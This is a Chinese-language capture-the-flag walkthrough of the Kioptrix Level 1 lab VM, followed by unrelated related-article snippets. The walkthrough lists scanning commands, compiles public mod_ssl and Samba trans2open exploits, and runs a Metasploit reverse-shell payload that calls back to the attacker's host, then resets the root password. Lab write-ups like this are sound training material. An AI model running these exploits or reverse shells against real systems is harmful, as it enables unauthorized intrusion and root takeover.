skyler实战渗透笔记—Kioptrix-1

news/2024/12/22 22:24:23/

0x00 前言

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

 困难:easy

0x01 信息收集

这次的机器有点问题,下载下来以后,NAT下无法扫描到靶机。

后来检索到方法:

需要编辑VMX configuration file文件,把里头的bridged换成nat,但保留最后一个bridged

 

 保存重启就好。

猜测应该是虚拟机默认网络配置的问题,由于对操作系统比较熟悉,这边提供下我的思路:

1、可以通过grub进入单用户模式,然后重置密码,再查看网卡配置

2、但是发现系统本身默认设置grub时间为0,导致根本进不了单用户

3、所以考虑挂载redhat镜像,并在修复模式下挂载靶机本地硬盘,修改grub配置,再尝试单用户模式修改密码进入。

OK,老规矩,找一下目标机器

端口扫一下:

 得到开放的端口:22,80,111,139,443,1024,并得到在对应端口下使用的软件(mod_ssl/samba)。

通过端口扫描得知 apache-1.3.20,openssl-0.9.6b,mod_ssl-2.8.4(老版,谷歌搜索漏洞)
对于端口使用的插件,在下面将专门对其进行漏洞挖掘


03 目录扫描
dirb http://10.10.16.152
对 dirb 爬行的目录进行访问,没有发现可利用的价值。


04 漏洞挖掘
nikto -h 10.10.16.152

 使用 nikto 进行 web 扫描发现几处可利用漏洞。

可以使用在线漏洞数据库搜索相对应的版本漏洞

https://www.exploit-db.com/search

05 漏洞利用
0x01 mod_ssl ( remote buffer overflow )
使用 Kali 自带的漏洞查找工具查找本地所有漏洞和 shellcode

searchsploit mod_ssl

 ps: 如果使用 764.c 脚本的话,应为该脚本版本太老,所以还需对其内容进行修改,有点麻烦,这里直接使用 47080.c 脚本。

764.c 修改

在桌面新建一个 Kioptrix 文件夹,将 47080.c 文件拷贝过去,查看文件头得知文件的使用方法:要先安装 libssl-dev 库才能编译文件。

cp /usr/share/exploitdb/exploits/unix/remote/47080.c .
head 47080.c
sudo apt-get install libssl-dev
gcc -o OpenFuck 47080.c -lcrypto
编译之后运行生成的二进制文件,发现使用该二进制文件的方法。

由于该靶机使用 apache-1.3.20,所以将 target 定位到 0x6a - 0x6b

 0x02 samba 2.2

① remote code excution
利用 msf 的 auxiliary/scanner/smb/smb_version 模块得知靶机使用 samba-2.2.1a

搜索 samba 2.2 的漏洞利用模块,发现最下方的 Remote Code Excution

将该模块下的脚本复制到自定义的文件夹里面,查看文件头,编译脚本。

cp /usr/share/exploitdb/exploits/multiple/remote/10.c .
head 10.c
gcc -o samba 10.c

./samba -b 0 10.10.16.152 # -b 0 是指 Linux

 ② Remote Buffer Overflow


gcc -o call_trans2open 22469.c
 


./call_trans2open -t 10.10.16.152
 


③ 利用 msf
从上面 searchsploit 的结果来看,还有几个模块是关于 metasploit 的,因此可以利用 msf 来getshell 提权。

msfconsole
use exploit/linux/samba/trans2open

使用 show options 查看要添加什么参数

使用该模块下的一个 payload

set payload linux/x86/shell_reverse_tcp

set rhosts 10.10.16.152
set lhost 10.10.16.128
exploit
 

ps: 使用 python -v 查看当前 python 版本是 python 1.5 ,所以不能使用 python -c ‘import pty;pty.spawn("/bin/bash");’ ,可以使用 passwd 可以改变 root 密码,然后通过 ssh 登录 root 账户获取完全交互式 shell。


0x03 capture the flag
cat /var/mail/root

0x03 思路总结

这次的题目比较简单,目录扫描后发现没什么可用内容,就直接扫一下漏洞,找基本信息,看看有哪一些可利用的漏洞就可以。


http://www.ppmy.cn/news/1557307.html

相关文章

Pytorch | 从零构建MobileNet对CIFAR10进行分类

Pytorch | 从零构建MobileNet对CIFAR10进行分类 CIFAR10数据集MobileNet设计理念网络结构技术优势应用领域 MobileNet结构代码详解结构代码代码详解DepthwiseSeparableConv 类初始化方法前向传播 forward 方法 MobileNet 类初始化方法前向传播 forward 方法 训练过程和测试结果…

三次翻转实现数组元素的旋转

给定一个数组,将数组中的元素向右移动 k 个位置。 示例 1: 输入: [1,2,3,4,5,6,7] 和 k 3 输出: [5,6,7,1,2,3,4] 解释: 向右旋转 1 步: [7,1,2,3,4,5,6] 向右旋转 2 步: [6,7,1,2,3,4,5] 向右旋转 3 步: [5,6,7,1,2,3,4]示例 2: 输入: [-1,-100,3,99] 和 k 2 …

UE5 移植Editor或Developer模块到Runtime

要将源码中的非运行时模块移植到Runtime下使用,个人理解就是一个解决编译报错的过程,先将目标模块复制到项目的source目录内,然后修改模块文件夹名称,修改模块.build.cs与文件夹名称保持一致 修改build.cs内的类名 ,每…

8K+Red+Raw+ProRes422分享5个影视级视频素材网站

Hello,大家好,我是后期圈! 在视频创作中,电影级的视频素材能够为作品增添专业质感,让画面更具冲击力。无论是广告、电影短片,还是品牌宣传,高质量的视频素材都是不可或缺的资源。然而&#xff…

Golong中无缓冲的 channel 和 有缓冲的 channel 的区别

在Golang中,channel是用于goroutine之间通信的并发原语,它可以是无缓冲的,也可以是有缓冲的。无缓冲的channel和有缓冲的channel之间存在显著的区别,主要体现在以下几个方面: 一、缓冲区大小与存储能力 无缓冲channe…

JVM和数据库面试知识点

JVM内存结构 主要有几部分:堆、栈、方法区和程序计数器 堆是JVM中最大的一块内存区域,用于存储对象实例,一般通过new创建的对象都存放在堆中。堆被所有的线程共享,但是它的访问时线程不安全的,通常通过锁的机制来保证线…

java——Synchronized与Lock

Synchronized和Lock都是Java中用于实现线程同步的机制,但它们在实现方式、使用方式以及提供的特性上存在一些显著的区别。以下是对两者的详细比较: 一、定义与实现方式 Synchronized 是Java语言内置的同步机制。基于监视器锁(monitor lock&a…

flask-admin的modelview 实现list列表视图中某个列字段值翻译

背景: flask-admin 开发中modelview视图是非常强大的,但文档写的很难受,只能通过源码慢慢摸索学习,一点点记录 材料: 可用的flask-admin 环境 制作: 样例代码: 1、modelview 视图代码 col…